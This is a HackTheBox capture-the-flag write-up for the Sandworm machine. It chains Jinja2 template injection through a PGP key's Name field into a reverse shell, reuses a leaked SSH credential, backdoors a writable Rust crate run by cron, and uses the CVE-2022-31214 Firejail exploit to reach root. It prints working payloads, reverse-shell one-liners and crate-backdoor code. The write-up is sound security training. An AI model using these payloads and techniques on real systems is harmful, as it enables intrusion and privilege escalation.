HTB: Sandworm Writeup
Sandworm - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Sandworm |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Sandworm presents itself as a security agency’s tip-submission portal built on Flask, fronted by nginx over TLS on the vhost ssa.htb. The site’s PGP “guide” page looks like a self-contained toy — encrypt/decrypt/sign/verify boxes that appear to just echo back gpg output — but the real verification logic lives behind an AJAX endpoint (/process) that was never visible in the rendered form markup. Injecting a Jinja2 SSTI payload into the Name field of a PGP key, then submitting a signed message with that key, gets the payload rendered server-side and executed as the atlas user — except that user is trapped inside a Firejail sandbox with a stripped-down shell. From there, a plaintext credential recovered from an httpie session file breaks out of the jail entirely via SSH as silentobserver, netting the user flag. A writable Rust logging crate consumed by a cargo run cronjob in /opt/tipnet then provides a path back to the real, unjailed atlas account (member of the jailer group), and a public exploit for CVE-2022-31214 in Firejail 0.9.68 turns that group membership into root.
TL;DR: Jinja2 SSTI via a PGP key’s Name field (fired at the hidden /process endpoint) → RCE as jailed atlas → httpie session file leaks silentobserver creds → SSH in, grab user.txt → hijack a writable Rust crate consumed by a cron cargo run job → shell as real (unjailed) atlas in the jailer group → CVE-2022-31214 Firejail --join exploit → root.
Reconnaissance
Port Scanning
# Full TCP port sweep, then targeted service/version detectionnmap -p- --min-rate=1000 -T4 10.10.11.X -oG allports.txtports=$(grep -oP '\d+/open' allports.txt | cut -d/ -f1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.10.11.XResults:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH |
| 443 | nginx (SSL) | TLS cert / vhost reveals ssa.htb |
Only two ports are exposed — SSH and an nginx reverse proxy in front of a Flask application, reached over HTTPS. The certificate/vhost data points at ssa.htb, which gets added to /etc/hosts:
echo "10.10.11.X ssa.htb" | sudo tee -a /etc/hostsService Enumeration
The site at https://ssa.htb is a security agency landing page with a “PGP guide” section offering encrypt/decrypt/sign/verify demo boxes. Each demo box posts to what looks like a form action, but the page’s real request wiring is done client-side.
The endpoint that actually matters is /process, not the visible form’s action="/guide/verify". The rendered form target is a decoy — submitting to it just gets you an HTML page echoing gpg’s own (escaped) output, with no server-side templating of user-controlled fields. The real logic was found by reading static/scripts.js, which shows the page’s JavaScript intercepting the submit event and firing an AJAX POST to /process instead. That distinction is the whole vulnerability — the SSTI only fires on the AJAX path.
Vulnerability Assessment
- Flask backend rendering user-supplied PGP key metadata (Name/Comment/Email fields) through what is very likely a Jinja2
render_template_stringcall on the/processendpoint — classic SSTI surface. - A clock-skew trap: the attacking jump box’s system clock was running 7 hours ahead of real time. gpg refuses to trust (and the app’s verification path skips) a key or signature that appears to have been “created in the future,” so naive key generation silently produced a non-exploitable code path on the server. Wrapping key generation and message clear-signing in
faketimeneutralizes this:
# Generate the keypair and clear-sign the message as if the clock were correctfaketime '-8 hours' gpg --batch --gen-key keygen.conffaketime '-8 hours' gpg --clearsign -u "attacker" message.txtInitial Foothold
Exploitation Path
1. Confirm the SSTI sink. A PGP keypair’s Name field is attacker-controlled metadata that gets echoed back (and, on /process, rendered) in the verification response. Generating a key with a Jinja2 probe in the Name field:
# Name field carries the payload; email/comment can be anythingcat > keygen.conf <<'EOF'%no-protectionKey-Type: RSAKey-Length: 2048Name-Real: {{7*7}}Name-Email: pwn@ssa.htbExpire-Date: 0%commitEOFfaketime '-8 hours' gpg --batch --gen-key keygen.confSigning a message with this key and posting it (as the signature + publicKey fields) directly to /process — bypassing the decoy form entirely — reflects the evaluated 49 back in the response, confirming server-side Jinja2 template evaluation of the Name field.
2. Escalate to RCE. Swap the probe for a payload that imports os and runs shell commands through Flask’s Jinja2 global namespace:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}Regenerate the key with this string in Name-Real, clear-sign a message under faketime, and POST both to /process:
faketime '-8 hours' gpg --batch --gen-key keygen.conffaketime '-8 hours' gpg --clearsign -u pwn@ssa.htb message.txt
curl -sk https://ssa.htb/process \ -F "signedMessage=<message.txt.asc" \ -F "publicKey=<pubkey.asc"The response body contains the output of id, confirming command execution in the context of the atlas service account.
3. Reverse shell. A base64-wrapped bash one-liner in the same Name-Real field, re-signed and re-submitted, catches a shell:
# Listenernc -nlvp 4444{{request.application.__globals__.__builtins__.__import__('os').popen('echo <base64 bash -i reverse shell> | base64 -d | bash').read()}}The callback lands as atlas — but the shell is immediately recognizable as a Firejail sandbox: a heavily restricted command set, an unusual /proc/1/cmdline, and a filesystem that doesn’t match a normal Linux root. This is the jailed foothold, not the real user account yet.
Privilege Escalation
atlas (jailed) → silentobserver (SSH, real shell)
With RCE inside the jail, reading the jailed atlas home directory turns up a saved httpie session file containing plaintext basic-auth credentials:
cat /home/atlas/.config/httpie/sessions/localhost_5000/admin.jsonThis reveals the credential pair silentobserver:quietLiketheWind22, which — critically — works over SSH on the real host, completely outside the Firejail sandbox:
ssh silentobserver@ssa.htb# password: quietLiketheWind22user.txt is captured from silentobserver’s home directory.
Why this matters: the jailed
atlasRCE never needed to be escaped directly — the leaked SSH credential sidesteps the jail entirely by authenticating as a different user with a normal, unjailed shell.
silentobserver → atlas (real, unjailed, jailer group) via Rust crate hijack
Enumeration under silentobserver turns up a cronjob that cargo runs a project in /opt/tipnet. Because the job invokes cargo run rather than executing a prebuilt binary, Cargo re-resolves and rebuilds the crate’s dependency tree on every run — including a local, non-crates.io dependency:
cat /opt/tipnet/Cargo.toml# shows a path/local dependency on a "logger" cratesilentobserver has group-write access to that crate’s source (/opt/crates/logger/src/lib.rs), and tipnet’s main.rs calls logger::log(...) once per cycle. Editing the crate’s log() function to shell out gets arbitrary code execution the next time cron fires cargo run — no manual compilation needed, Cargo does it automatically:
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) { pwn(); // ... original log() body preserved below so tipnet keeps working}
fn pwn() { Command::new("sh") .arg("-c") .arg("echo <base64 bash -i reverse shell> | base64 -d | bash") .output() .expect("failed");}Waiting out the cron interval yields a shell as the real atlas account — not the Firejail-sandboxed one from the SSTI foothold. This atlas is a member of the jailer group, which is the privilege that ultimately breaks root. A persistent SSH key is dropped into atlas’s authorized_keys to get a stable second shell for the exploit that follows (CVE-2022-31214 requires two concurrent sessions).
atlas (jailer group) → root — CVE-2022-31214 (Firejail 0.9.68)
id as the real atlas confirms jailer group membership, and a group-ownership search shows the Firejail binary itself is the only resource that membership grants:
id# uid=...(atlas) groups=...,jailer
find / -group jailer 2>/dev/null# /usr/bin/firejail (or similar)
firejail --version# 0.9.68Firejail 0.9.68 is vulnerable to CVE-2022-31214, a flaw in the --join namespace logic: a crafted fake Firejail sandbox process (spoofing its own PID/namespace bookkeeping) can be joined by a legitimate firejail --join=<pid>, which then inherits root privileges from the malicious sandbox’s crafted user/mount namespaces well enough to run su without a password.
# Shell 1 (SSH as atlas): stage the fake sandboxchmod +x firejoin.py./firejoin.py# creates a fake jail process, e.g. PID 66850
# Shell 2 (second SSH session as atlas): join itfirejail --join=66850su -# no password required — drops into a root shellroot.txt is captured from /root/root.txt.
Attack Chain Summary
nginx/Flask recon (ssa.htb) → static/scripts.js reveals hidden /process AJAX endpoint → faketime-wrapped PGP keygen defeats clock-skew signature rejection → Jinja2 SSTI in PGP key "Name" field, submitted to /process → RCE as atlas (Firejail-jailed) → httpie session file leaks silentobserver:quietLiketheWind22 → SSH as silentobserver → user.txt → writable Rust "logger" crate hijacked, consumed by cron `cargo run` in /opt/tipnet → shell as real atlas (jailer group, outside the jail) → CVE-2022-31214 (Firejail 0.9.68 --join namespace flaw) + su → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service & version detection |
gpg + faketime | PGP keypair generation and message signing without triggering clock-skew rejection |
Browser dev tools / static/scripts.js review | Discovering the real /process AJAX endpoint behind the decoy form |
curl | Direct POSTs to /process with crafted SSTI payloads |
nc | Reverse shell listener |
ssh | Lateral movement as silentobserver and atlas; second concurrent session for the Firejail exploit |
Rust / Cargo (lib.rs edit) | Hijacking the writable logger crate consumed by the tipnet cron job |
firejoin.py (CVE-2022-31214 PoC) | Firejail --join namespace exploit for root |
Key Learnings
Techniques Practiced
- Identifying a genuine AJAX-driven backend endpoint hidden behind a decoy HTML form action
- Server-Side Template Injection (Jinja2/Flask) via attacker-controlled PGP key metadata
- Working around PGP signature timestamp validation with
faketime - Breaking out of a restrictive Firejail sandbox by pivoting to leaked credentials rather than attacking the jail directly
- Rust/Cargo dependency (crate) hijacking to achieve code execution through a
cargo run-based cronjob - Exploiting a real, disclosed CVE (CVE-2022-31214) in Firejail’s
--joinlogic to escalate group membership into root
Lessons Learned
- Never trust a rendered form’s
actionattribute as the real endpoint — client-side JavaScript can silently redirect submission to a different route with entirely different (and vulnerable) server-side logic. - Environment clock drift is a live obstacle, not just a nuisance — PGP/gpg’s timestamp validation can mask a vulnerability if key generation and signing happen under a skewed clock;
faketimeis a lightweight, reliable fix. - A jail is not always the thing you need to escape — plaintext credentials found inside a sandbox can grant a completely unjailed session via an entirely different service (SSH), making direct sandbox-breakout techniques unnecessary.
cargo runin a cronjob is a supply-chain foothold — if a local/path dependency crate is writable by a lower-privileged user, that user controls code executed by whatever account runs the job, regardless of the main binary’s own permissions.- Group membership alone can be root — a single group (
jailer) granting access to a vulnerable setuid/capability-bearing binary (Firejail) was sufficient for full privilege escalation once the correct CVE was matched to the installed version.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup: Sandworm — C4rm3l0, Document No. D23.100.243 (Machine Author: C4rm3l0). Used for conceptual background on PGP mechanics, the CVE-2022-31214 Firejail
--joinvulnerability, and Rust/Cargo crate-hijacking theory; all IPs, endpoints, credentials, and commands in this writeup reflect the author’s own independent solve.